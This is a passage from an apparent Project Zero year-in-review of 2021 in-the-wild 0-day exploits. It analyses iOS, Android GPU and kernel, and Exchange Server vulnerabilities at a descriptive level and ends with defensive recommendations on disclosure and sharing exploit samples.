<p class="HNYIspzEBn-c5"><span>Mach messages have also been a popular target for public security research. In 2020 there were two in-the-wild 0-days also in mach messages: </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2020/CVE-2020-27932.html">CVE-2020-27932</a></span><span> & </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2020/CVE-2020-27950.html">CVE-2020-27950</a></span><span>. This year’s </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://blog.google/threat-analysis-group/analyzing-watering-hole-campaign-using-macos-exploits/">CVE-2021-30869</a></span><span> is a pretty close variant to 2020’s </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2020/CVE-2020-27932.html">CVE-2020-27932</a></span><span>. Tielei Wang and Xinru Chi actually </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://github.com/wangtielei/Slides/blob/main/zer0con21.pdf">presented on this vulnerability at zer0con 2021</a></span><span> in April 2021. In their presentation, they explained that they found it while doing variant analysis on </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2020/CVE-2020-27932.html">CVE-2020-27932</a></span><span>. </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://twitter.com/WangTielei/status/1486266258152726530">TieLei Wang explained via Twitter</a></span><span class="HNYIspzEBn-c0"> that they had found the vulnerability in December 2020 and had noticed it was fixed in beta versions of iOS 14.4 and macOS 11.2 which is why they presented it at Zer0Con. The in-the-wild exploit only targeted macOS 10, but used the same exploitation technique as the one presented.</span></p>
<p class="HNYIspzEBn-c2"><span class="HNYIspzEBn-c0"></span></p>
<p class="HNYIspzEBn-c5"><span>The two FORCEDENTRY exploits (</span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://googleprojectzero.blogspot.com/2021/12/a-deep-dive-into-nso-zero-click.html">CVE-2021-30860</a></span><span> and the </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://googleprojectzero.blogspot.com/2022/03/forcedentry-sandbox-escape.html">sandbox escape</a></span><span>) were the only times that made us all go “wow!” this year. For </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://googleprojectzero.blogspot.com/2021/12/a-deep-dive-into-nso-zero-click.html">CVE-2021-30860</a></span><span>, the integer overflow in CoreGraphics, it was because: </span></p><ol class="c6 lst-kix_qhs0t3wlsx02-0 start" start="1"><li style="margin-left: 46pt;" class="c4 li-bullet-0"><span class="HNYIspzEBn-c0">For years we’ve all heard about how attackers are using 0-click iMessage bugs and finally we have a public example, and</span></li><li style="margin-left: 46pt;" class="c4 li-bullet-0"><span class="HNYIspzEBn-c0">The exploit was an impressive work of art. </span></li></ol>
<p class="HNYIspzEBn-c5"><span class="HNYIspzEBn-c0">The sandbox escape (CVE requested, not yet assigned) was impressive because it’s one of the few times we’ve seen a sandbox escape in-the-wild that uses only logic bugs, rather than the standard memory corruption bugs. </span></p>
<p class="HNYIspzEBn-c2"><span class="HNYIspzEBn-c0"></span></p>
<p class="HNYIspzEBn-c5"><span>For </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://googleprojectzero.blogspot.com/2021/12/a-deep-dive-into-nso-zero-click.html">CVE-2021-30860</a></span><span>, the vulnerability itself wasn’t especially notable: a classic integer overflow within the JBIG2 parser of the CoreGraphics PDF decoder. The exploit, though, was described by Samuel Groß & Ian Beer as “one of the most technically sophisticated exploits [they]’ve ever seen”. </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://googleprojectzero.blogspot.com/2021/12/a-deep-dive-into-nso-zero-click.html">Their blogpost shares all the details</a></span><span class="HNYIspzEBn-c0">, but the highlight is that the exploit uses the logical operators available in JBIG2 to build NAND gates which are used to build its own computer architecture. The exploit then writes the rest of its exploit using that new custom architecture. From their blogpost:</span></p>
<p class="HNYIspzEBn-c5"><span class="HNYIspzEBn-c0"> </span></p>
<p class="HNYIspzEBn-c5 HNYIspzEBn-c15"><span class="HNYIspzEBn-c8">Using over 70,000 segment commands defining logical bit operations, they define a small computer architecture with features such as registers and a full 64-bit adder and comparator which they use to search memory and perform arithmetic operations. It's not as fast as Javascript, but it's fundamentally computationally equivalent.</span></p>
<p class="HNYIspzEBn-c2 HNYIspzEBn-c15"><span class="HNYIspzEBn-c8"></span></p>
<p class="HNYIspzEBn-c5 HNYIspzEBn-c15"><span class="HNYIspzEBn-c8">The bootstrapping operations for the sandbox escape exploit are written to run on this logic circuit and the whole thing runs in this weird, emulated environment created out of a single decompression pass through a JBIG2 stream. It's pretty incredible, and at the same time, pretty terrifying.</span></p>
<p class="HNYIspzEBn-c2"><span class="HNYIspzEBn-c0"></span></p>
<p class="HNYIspzEBn-c5"><span>This is an example of what </span><span>making 0-day exploitation hard could</span><span> look like:</span><span> attackers having to develop a new and novel way to exploit a bug and that method requires lots of expertise and/or time to develop.</span><span> This year, the two FORCEDENTRY exploits were the only 0-days out of the 58 that really impressed us. Hopefully in the future, the bar has been raised such that this will be required for any successful exploitation.</span></p><h2 class="HNYIspzEBn-c7" id="h.tyseasm1qg7w"><span class="HNYIspzEBn-c12">Android</span></h2>
<p class="HNYIspzEBn-c5"><span>There were 7 Android in-the-wild 0-days detected and disclosed this year. Prior to 2021 there had only been 1 and it was in 2019: </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2019/CVE-2019-2215.html">CVE-2019-2215</a></span><span class="HNYIspzEBn-c0">. Like WebKit, this lack of data makes it hard for us to assess trends and changes. Instead, we’ll compare it to public security research.</span></p>
<p class="HNYIspzEBn-c2"><span class="HNYIspzEBn-c0"></span></p>
<p class="HNYIspzEBn-c5"><span class="HNYIspzEBn-c0">For the 7 Android 0-days they targeted the following components:</span></p><ul style="padding: 0;" class="c6 lst-kix_3zaknyhdqv25-0 start"><li style="margin-left: 46pt;" class="c4 li-bullet-0"><span>Qualcomm Adreno GPU driver (</span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://source.android.com/security/bulletin/2021-01-01">CVE-2020-11261</a></span><span>, </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2021/CVE-2021-1905.html">CVE-2021-1905</a></span><span>, </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://source.android.com/security/bulletin/2021-05-01">CVE-2021-1906</a></span><span class="HNYIspzEBn-c0">)</span></li><li style="margin-left: 46pt;" class="c4 li-bullet-0"><span>ARM Mali GPU driver (</span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://source.android.com/security/bulletin/2021-05-01">CVE-2021-28663</a></span><span>, </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://source.android.com/security/bulletin/2021-05-01">CVE-2021-28664</a></span><span class="HNYIspzEBn-c0">)</span></li><li style="margin-left: 46pt;" class="c4 li-bullet-0"><span>Upstream Linux kernel (</span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-1048.html">CVE-2021-1048</a></span><span>, </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://source.android.com/security/bulletin/2021-11-01#kernel-components">CVE-2021-0920</a></span><span class="HNYIspzEBn-c0">)</span></li></ul>
<p class="HNYIspzEBn-c2"><span class="HNYIspzEBn-c0"></span></p>
<p class="HNYIspzEBn-c5"><span>5 of the 7 0-days from 2021 targeted GPU drivers. This is actually not that surprising when we consider the evolution of the Android ecosystem as well as recent public security research into Android. The Android ecosystem is quite </span><span>fragmented</span><span class="HNYIspzEBn-c0">: many different kernel versions, different manufacturer customizations, etc. If an attacker wants a capability against “Android devices”, they generally need to maintain many different exploits to have a decent percentage of the Android ecosystem covered. However, if the attacker chooses to target the GPU kernel driver instead of another component, they will only need to have two exploits since most Android devices use 1 of 2 GPUs: either the Qualcomm Adreno GPU or the ARM Mali GPU. </span></p>
<p class="HNYIspzEBn-c2"><span class="HNYIspzEBn-c0"></span></p>
<p class="HNYIspzEBn-c5"><span>Public security research mirrored this choice in the last couple of years as well. </span><span>When developing full exploit chains</span><span> (for defensive purposes) to target Android devices, </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://github.com/secmob/TiYunZong-An-Exploit-Chain-to-Remotely-Root-Modern-Android-Devices/blob/master/us-20-Gong-TiYunZong-An-Exploit-Chain-to-Remotely-Root-Modern-Android-Devices-wp.pdf">Guang Gong</a></span><span>, </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://securitylab.github.com/research/one_day_short_of_a_fullchain_android/">Man Yue Mo</a></span><span>, and </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://googleprojectzero.blogspot.com/2020/09/attacking-qualcomm-adreno-gpu.html">Ben Hawkes</a></span><span> all chose to attack the GPU kernel driver for local privilege escalation. Seeing the in-the-wild 0-days also target the GPU was more of a confirmation rather than a revelation. Of the </span><span>5 0-days targeting </span><span class="HNYIspzEBn-c0">GPU drivers, 3 were in the Qualcomm Adreno driver and 2 in the ARM Mali driver. </span></p>
<p class="HNYIspzEBn-c2"><span class="HNYIspzEBn-c0"></span></p>
<p class="HNYIspzEBn-c5"><span>The two non-GPU driver 0-days (</span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://source.android.com/security/bulletin/2021-11-01#kernel-components">CVE-2021-0920</a></span><span> and </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-1048.html">CVE-2021-1048</a></span><span>) targeted the upstream Linux kernel. Unfortunately, these 2 bugs shared a singular characteristic with the Android in-the-wild 0-day seen in 2019: all 3 were previously known upstream before their exploitation in Android. While the sample size is small, it’s still quite </span><span>striking</span><span> to see that 100% of the known in-the-wild Android 0-days that target the kernel </span><span>are bugs that actually were known about before their exploitation.</span></p>
<p class="HNYIspzEBn-c2"><span class="HNYIspzEBn-c0"></span></p>
<p class="HNYIspzEBn-c5"><span>The vulnerability now referred to as </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://source.android.com/security/bulletin/2021-11-01#kernel-components">CVE-2021-0920</a></span><span> was actually found in September 2016 and </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://lore.kernel.org/lkml/CAOssrKcfncAYsQWkfLGFgoOxAQJVT2hYVWdBA6Cw7hhO8RJ_wQ@mail.gmail.com/">discussed on the Linux kernel mailing lists</a></span><span>. A </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://lore.kernel.org/lkml/1475150954-10152-1-git-send-email-mszeredi@redhat.com/">patch was even developed back in 2016</a></span><span>, but it didn’t end up being submitted. The bug was finally </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=cbcf01128d0a92e131bd09f1688fe032480b65ca">fixed in the Linux kernel in July 2021</a></span><span> after the detection of the in-the-wild exploit targeting Android. The patch then made it into the </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://source.android.com/security/bulletin/2021-11-01#kernel-components">Android security bulletin in November 2021</a></span><span class="HNYIspzEBn-c0">.</span></p>
<p class="HNYIspzEBn-c2"><span class="HNYIspzEBn-c0"></span></p>
<p class="HNYIspzEBn-c5"><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-1048.html">CVE-2021-1048</a></span><span class="HNYIspzEBn-c0"> remained unpatched in Android for 14 months after it was patched in the Linux kernel. The Linux kernel was actually only vulnerable to the issue for a few weeks, but due to Android patching practices, that few weeks became almost a year for some Android devices. If an Android OEM synced to the upstream kernel, then they likely were patched against the vulnerability at some point. But many devices, such as recent Samsung devices, had not and thus were left vulnerable.</span></p><h2 class="HNYIspzEBn-c7" id="h.go76pditpwq7"><span>Microsoft </span><span>Exchange Server</span></h2>
<p class="HNYIspzEBn-c5"><span>In 2021, there were 5 in-the-wild 0-days targeting Microsoft Exchange Server. This is the first time any Exchange Server in-the-wild 0-days have been detected and disclosed since we began tracking in-the-wild 0-days. The first four (</span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-26855.html">CVE-2021-26855</a></span><span>, </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26857">CVE-2021-26857</a></span><span>, </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26858">CVE-2021-26858</a></span><span>, and </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065">CVE-2021-27065</a></span><span>) were all disclosed and patched at the same time and used together in a </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/">single operation</a></span><span>. </span><span>The fifth (</span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-42321">CVE-2021-42321</a></span><span>) was patched on its own in November 2021. </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-42321">CVE-2021-42321</a></span><span> was demonstrated at Tianfu Cup and then discovered in-the-wild by Microsoft. While no other in-the-wild 0-days were disclosed as part of the chain with </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-42321">CVE-2021-42321</a></span><span>, the attackers would have required at least another 0-day for successful exploitation since </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-42321">CVE-2021-42321</a></span><span class="HNYIspzEBn-c0"> is a post-authentication bug.</span></p>
<p class="HNYIspzEBn-c2"><span class="HNYIspzEBn-c0"></span></p>
<p class="HNYIspzEBn-c5"><span>Of the four Exchange in-the-wild 0-days used in the first campaign, </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-26855.html">CVE-2021-26855</a></span><span>, which is also known as “ProxyLogon”, is the only one that’s pre-auth. </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-26855.html">CVE-2021-26855</a></span><span> is a server side request forgery (SSRF) vulnerability that allows unauthenticated attackers to send arbitrary HTTP requests as the Exchange server. The other three vulnerabilities were post-authentication. For example, </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26858">CVE-2021-26858</a></span><span> and </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065">CVE-2021-27065</a></span><span> allowed attackers to write arbitrary files to the system. </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26857">CVE-2021-26857</a></span><span class="HNYIspzEBn-c0"> is a remote code execution vulnerability due to a deserialization bug in the Unified Messaging service. This allowed attackers to run code as the privileged SYSTEM user.</span></p>
<p class="HNYIspzEBn-c2"><span class="HNYIspzEBn-c0"></span></p>
<p class="HNYIspzEBn-c5"><span>For the second campaign, </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-42321">CVE-2021-42321</a></span><span>, like </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26858">CVE-2021-26858</a></span><span class="HNYIspzEBn-c0">, is a post-authentication RCE vulnerability due to insecure deserialization. It seems that while attempting to harden Exchange, Microsoft inadvertently introduced another deserialization vulnerability.</span></p>
<p class="HNYIspzEBn-c2"><span class="HNYIspzEBn-c0"></span></p>
<p class="HNYIspzEBn-c5"><span>While there were a significant amount of 0-days in Exchange detected and disclosed in 2021, it’s important to remember that they were all used as 0-day in only two different campaigns. </span><span>This is an example of why we don’t suggest </span><span>using the number</span><span class="HNYIspzEBn-c0"> of 0-days in a product as a metric to assess the security of a product. Requiring the use of four 0-days for attackers to have success is preferable to an attacker only needing one 0-day to successfully gain access.</span></p>
<p class="HNYIspzEBn-c2"><span class="HNYIspzEBn-c0"></span></p>
<p class="HNYIspzEBn-c5"><span>While this is the first time Exchange in-the-wild 0-days have been detected and disclosed</span><span> since Project Zero began our tracking, this is not unexpected. In 2020 there was </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://www.cisa.gov/uscert/ncas/current-activity/2020/03/10/unpatched-microsoft-exchange-servers-vulnerable-cve-2020-0688">n-day exploitation of Exchange Servers</a></span><span>. Whether this was the first year that attackers began the 0-day exploitation or if this was the first year that defenders began detecting the 0-day exploitation, this is not an unexpected evolution and we’ll likely see it continue into 2022.</span></p><h1 class="HNYIspzEBn-c11" id="h.1cg90di44ry5"><span>Outstanding Questions</span></h1>
<p class="HNYIspzEBn-c5"><span class="HNYIspzEBn-c0">While there has been progress on detection and disclosure, that progress has shown just how much work there still is to do. The more data we gained, the more questions that arose about biases in detection, what we’re missing and why, and the need for more transparency from both vendors and researchers.</span></p>
<p class="HNYIspzEBn-c2"><span class="HNYIspzEBn-c0"></span></p>
<p class="HNYIspzEBn-c5"><span>Until the day that attackers decide to happily share all their exploits with us, we can’t fully know what percentage of 0-days are </span><span>publicly known about</span><span class="HNYIspzEBn-c0">. However when we pull together our expertise as security researchers and anecdotes from others in the industry, it paints a picture of some of the data we’re very likely missing. From that, these are some of the key questions we’re asking ourselves as we move into 2022:</span></p><h2 class="HNYIspzEBn-c7" id="h.9mkiyelw2l4a"><span class="HNYIspzEBn-c12">Where are the [x] 0-days?</span></h2>
<p class="HNYIspzEBn-c5"><span class="HNYIspzEBn-c0">Despite the number of 0-days found in 2021, there are key targets missing from the 0-days discovered. For example, we know that messaging applications like WhatsApp, Signal, Telegram, etc. are targets of interest to attackers and yet there’s only 1 messaging app, in this case iMessage, 0-day found this past year. Since we began tracking in mid-2014 the total is two: a WhatsApp 0-day in 2019 and this iMessage 0-day found in 2021.</span></p>
<p class="HNYIspzEBn-c2"><span class="HNYIspzEBn-c0"></span></p>
<p class="HNYIspzEBn-c5"><span>Along with messaging apps, there are other platforms/targets we’d expect to see 0-days targeting, yet there are no or very few public examples. For example, since mid-2014 there’s only one in-the-wild 0-day each for macOS and </span><span>Linux</span><span class="HNYIspzEBn-c0">. There are no known in-the-wild 0-days targeting cloud, CPU vulnerabilities, or other phone components such as the WiFi chip or the baseband.</span></p>
<p class="HNYIspzEBn-c2"><span class="HNYIspzEBn-c0"></span></p>
<p class="HNYIspzEBn-c5"><span>This leads to the question of whether these 0-days are absent due to lack of detection, lack of disclosure, or both?</span></p><h2 class="HNYIspzEBn-c7" id="h.lmeqy4ji80fr"><span class="HNYIspzEBn-c12">Do some vendors have no known in-the-wild 0-days because they’ve never been found or because they don’t publicly disclose?</span></h2>
<p class="HNYIspzEBn-c5"><span>Unless a vendor has told us that they will publicly disclose exploitation status for all vulnerabilities in their platforms, we, the public, don’t know if the absence of an annotation means that there is no known exploitation of a vulnerability or if there is, but the vendor is just not sharing that information publicly. </span><span>Thankfully this question is something that has a pretty clear solution: all device and software vendors agreeing to publicly disclose when there is evidence to suggest that a vulnerability in their product is being exploited in-the-wild.</span></p><h2 class="HNYIspzEBn-c7" id="h.dckkx2d1dyz5"><span class="HNYIspzEBn-c12">Are we seeing the same bug patterns because that’s what we know how to detect?</span></h2>
<p class="HNYIspzEBn-c5"><span>As we described earlier in this report, all the 0-days we saw in 2021 had similarities to previously seen vulnerabilities. This leads us to wonder whether or not that’s actually representative of what attackers are using. Are attackers actually having success exclusively using vulnerabilities in bug classes and components that are previously public? Or are we detecting all these 0-days with known bug patterns because that’s what we know how to detect? Public security research would suggest that yes, attackers are still able to have success with using vulnerabilities in known components and bug classes the majority of the time. But we’d still expect to see a few novel and unexpected vulnerabilities in the grouping. We posed this question back in the 2019 year-in-review and it still lingers. </span></p><h2 class="HNYIspzEBn-c7" id="h.w9alsmed3bqy"><span class="HNYIspzEBn-c12">Where are the spl0itz?</span></h2>
<p class="HNYIspzEBn-c5"><span class="HNYIspzEBn-c0">To successfully exploit a vulnerability there are two key pieces that make up that exploit: the vulnerability being exploited, and the exploitation method (how that vulnerability is turned into something useful). </span></p>
<p class="HNYIspzEBn-c2"><span class="HNYIspzEBn-c0"></span></p>
<p class="HNYIspzEBn-c5"><span>Unfortunately, this report could only really analyze one of these components: the vulnerability. Out of the 58 0-days, only 5 have an exploit sample publicly available. Discovered in-the-wild 0-days are the failure case for attackers and a key opportunity for defenders to learn what attackers are doing and make it harder, more time-intensive, more costly, to do it again. Yet without the exploit sample or a detailed technical write-up based upon the sample, we can only focus on fixing the vulnerability rather than also mitigating the exploitation method. This means that attackers are able to continue to use their existing exploit methods rather than having to go back to the design and development phase to build a new exploitation method. While acknowledging that sharing exploit samples can be challenging (we have that challenge too!), we hope in 2022 there will be more </span><span>sharing of exploit samples or detailed technical write-ups so that we can come together to use every possible piece of information to make it harder for the attackers to exploit more users.</span></p>
<p class="HNYIspzEBn-c2"><span class="HNYIspzEBn-c0"></span></p>
<p class="HNYIspzEBn-c5"><span>As an aside, if you have an exploit sample that you’re willing to share with us, please reach out. Whether it’s sharing with us and having us write a detailed technical description and analysis or having us share it publicly, we’d be happy to work with you.</span></p><h1 class="HNYIspzEBn-c11" id="h.e19lp542ae55"><span>Conclusion</span></h1>
<p class="HNYIspzEBn-c5"><span>Looking back on 2021, what comes to mind is </span><span>“baby steps</span><span class="HNYIspzEBn-c0">”. We can see clear industry improvement in the detection and disclosure of 0-day exploits. But the better detection and disclosure has highlighted other opportunities for progress. As an industry we’re not making 0-day hard. Attackers are having success using vulnerabilities similar to what we’ve seen previously and in components that have previously been discussed as attack surfaces.The goal is to force attackers to start from scratch each time we detect one of their exploits: they’re forced to discover a whole new vulnerability, they have to invest the time in learning and analyzing a new attack surface, they must develop a brand new exploitation method. And while we made distinct progress in detection and disclosure it has shown us areas where that can continue to improve.</span></p>
<p class="HNYIspzEBn-c2"><span class="HNYIspzEBn-c0"></span></p>
<p class="HNYIspzEBn-c5"><span>While this all may seem daunting, the promising part is that we’ve done it before: we have made clear progress on previously daunting goals. In 2019, we discussed the large detection deficit for 0-day exploits and 2 years later more than double were detected and disclose</span><span>d</span><span class="HNYIspzEBn-c0">. So while there is still plenty more work to do, it’s a tractable problem. There are concrete steps that the tech and security industries can take to make it even more progress:<br></span></p><ol class="c6 lst-kix_czzguda5pqu4-0 start" start="1"><li style="margin-left: 46pt;" class="c4 li-bullet-0"><span class="HNYIspzEBn-c0">Make it an industry standard behavior for all vendors to publicly disclose when there is evidence to suggest that a vulnerability in their product is being exploited,</span></li><li style="margin-left: 46pt;" class="c4 li-bullet-0"><span class="HNYIspzEBn-c0">Vendors and security researchers sharing exploit samples or detailed descriptions of the exploit techniques.</span></li><li style="margin-left: 46pt;" class="c4 li-bullet-0"><span class="HNYIspzEBn-c0">Continued concerted efforts on reducing memory corruption vulnerabilities or rendering them unexploitable.</span></li></ol>
<p class="HNYIspzEBn-c2"><span class="HNYIspzEBn-c0"></span></p>
<p class="HNYIspzEBn-c5"><span>Through 2021 we continually saw the real world impacts of the use of 0-day exploits against users and entities. Amnesty International, the Citizen Lab, and others highlighted </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://citizenlab.ca/2021/10/breaking-news-new-york-times-journalist-ben-hubbard-pegasus/">over</a></span><span> and </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://www.amnesty.org/en/documents/doc10/4491/2021/en/">over</a></span><span> how governments were using commercial surveillance products against </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://forbiddenstories.org/pegasus-the-new-global-weapon-for-silencing-journalists/">journalists</a></span><span>,</span><span> </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://www.amnesty.org/en/latest/research/2021/11/devices-of-palestinian-human-rights-defenders-hacked-with-nso-groups-pegasus-spyware-2/">human rights defenders</a></span><span>, and </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://www.reuters.com/technology/exclusive-us-state-department-phones-hacked-with-israeli-company-spyware-sources-2021-12-03/">government officials</a></span><span>. We saw many enterprises scrambling to remediate and protect themselves from the</span><span> </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/">Exchange Server 0-days</a></span><span>. And we even learned of peer </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://blog.google/threat-analysis-group/update-campaign-targeting-security-researchers/">security researchers being targeted by </a></span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://blog.google/threat-analysis-group/update-campaign-targeting-security-researchers/">North Korean government hackers</a></span><span class="HNYIspzEBn-c0">. While the majority of people on the planet do not need to worry about their own personal risk of being targeted with 0-days, 0-day exploitation still affects us all. These 0-days tend to have an outsized impact on society so we need to continue doing whatever we can to make it harder for attackers to be successful in these attacks.</span></p>
<p class="HNYIspzEBn-c2"><span class="HNYIspzEBn-c0"></span></p>
<p class="HNYIspzEBn-c5"><span>2021 showed us we’re on the right track and making progress, but there’s plenty more to be done to make </span><span>0-day</span><span class="HNYIspzEBn-c0"> hard.</span></p>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-4838136820032157985.post-59337970272171258562022-04-14T08:58:00.002-07:002022-08-24T12:02:07.319-07:00CVE-2021-1782, an iOS in-the-wild vulnerability in vouchers<style type="text/css">@import url('https://themes.googleusercontent.com/fonts/css?kit=lhDjYqiy3mZ0x6ROQEUoUw');ol{margin:0;padding:0}table td,table th{padding:0}.BGLtzooHlW-c13{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#e0e0e0;border-top-width:1pt;border-right-width:1pt;border-left-color:#e0e0e0;vertical-align:top;border-right-color:#e0e0e0;border-left-width:1pt;border-top-style:solid;background-color:#fafafa;border-left-style:solid;border-bottom-width:1pt;width:468pt;border-top-color:#e0e0e0;border-bottom-style:solid}.BGLtzooHlW-c3{color:#000000;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:10pt;font-family:Consolas,"Courier New";font-style:normal}.BGLtzooHlW-c10{color:#000000;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:11pt;font-family:"Arial";font-style:normal}.BGLtzooHlW-c20{color:#000000;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:16pt;font-family:"Arial";font-style:normal}.BGLtzooHlW-c26{color:#000000;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:11pt;font-family:"Arial"}.BGLtzooHlW-c9{text-decoration-skip-ink:none;-webkit-text-decoration-skip:none;color:#1155cc;font-weight:700;text-decoration:underline}.BGLtzooHlW-c18{padding-top:18pt;padding-bottom:6pt;line-height:1.5;page-break-after:avoid;text-align:left}.BGLtzooHlW-c19{color:#000000;text-decoration:none;vertical-align:baseline;font-size:11pt;font-style:normal}.BGLtzooHlW-c16{font-size:10pt;font-family:Consolas,"Courier New";color:#0f9d58;font-weight:400}.BGLtzooHlW-c2{font-size:10pt;font-family:Consolas,"Courier New";color:#616161;font-weight:400}.BGLtzooHlW-c7{font-size:10pt;font-family:Consolas,"Courier New";color:#455a64;font-weight:400}.BGLtzooHlW-c0{padding-top:0pt;padding-bottom:0pt;line-height:1.5;text-align:left}.BGLtzooHlW-c4{font-size:10pt;font-family:Consolas,"Courier New";color:#000000;font-weight:400}.BGLtzooHlW-c15{font-size:10pt;font-family:Consolas,"Courier New";color:#c53929;font-weight:400}.BGLtzooHlW-c21{text-decoration-skip-ink:none;-webkit-text-decoration-skip:none;color:#1155cc;text-decoration:underline}.BGLtzooHlW-c24{padding-top:0pt;padding-bottom:0pt;line-height:1.5;text-align:center}.BGLtzooHlW-c6{font-size:10pt;font-family:Consolas,"Courier New";color:#9c27b0;font-weight:400}.BGLtzooHlW-c12{border-spacing:0;border-collapse:collapse;margin-right:auto}.BGLtzooHlW-c27{background-color:#ffffff;max-width:468pt;padding:72pt 72pt 72pt 72pt}.BGLtzooHlW-c25{color:inherit;text-decoration:inherit}.BGLtzooHlW-c11{font-weight:400;font-family:"Courier 